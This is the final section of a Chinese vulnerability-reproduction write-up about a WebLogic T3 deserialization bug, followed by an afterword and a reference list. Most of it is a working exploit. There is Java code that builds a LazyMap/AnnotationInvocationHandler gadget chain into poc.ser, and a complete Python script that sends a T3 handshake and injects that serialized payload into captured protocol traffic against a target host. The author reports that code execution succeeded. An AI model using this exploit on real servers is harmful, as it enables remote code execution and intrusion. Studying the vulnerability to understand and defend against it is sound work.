        InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class, lazyMap);


        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);


        InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy);
        FileOutputStream fos = new FileOutputStream("./poc.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler1);
        oos.flush();
        oos.close();
    }
}
#!/usr/bin/python3
import socket
import binascii
import struct

host = "192.168.38.2"
port = 7001
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_address = (host,port)
sock.settimeout(10)
sock.connect(server_address)
header = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a"
header = binascii.unhexlify(header)
sock.sendall(header)
res = sock.recv(1024)

serialize_exp = open("poc.ser","rb").read()
payload = b'\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload = payload + serialize_exp
payload = payload + \
    b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
payloadLength = len(payload)+4
temp = struct.pack('>I', payloadLength)
payload = temp + payload
sock.send(payload)
res2 = sock.recv(1024)
print(res2)

python脚本的思路其实很简单,就是先发送t3协议的请求headerb't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n',sock.recv接收一下服务器版本信息,然后发送payload过去。payload的构造来说,开头4个字节是总的payload的长度,再往后是通过t3协议的正常流量抓包dump下来的序列化数据,我们把其中一段数据换成了恶意序列化数据,拼接在一起。

虽然服务器端报错了,但是确实成功执行了。后续有时间再看一下为什么报错。End!

5. 后记

作为没接触过java漏洞的新手,在复现这个漏洞时确实花了好长时间,一方面是在搭建环境的过程中坑太多,另一方面是个人对于java相关的知识了解的不够深入,在复现过程中参考了大量文章,都已放在参考链接中,希望这篇文章能够帮到之后复现漏洞分析的人。

参考链接

  1. https://www.jianshu.com/p/38033935a914
  2. https://www.anquanke.com/post/id/219985#h2-10
  3. https://www.cnblogs.com/ph4nt0mer/p/11772709.html
  4. https://my.oschina.net/u/4587690/blog/4536037
  5. https://cloud.tencent.com/developer/article/1516342
  6. https://paper.seebug.org/1316/
  7. https://xz.aliyun.com/t/8164
  8. https://github.com/Maskhe/javasec
  9. https://www.anquanke.com/post/id/201432
点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖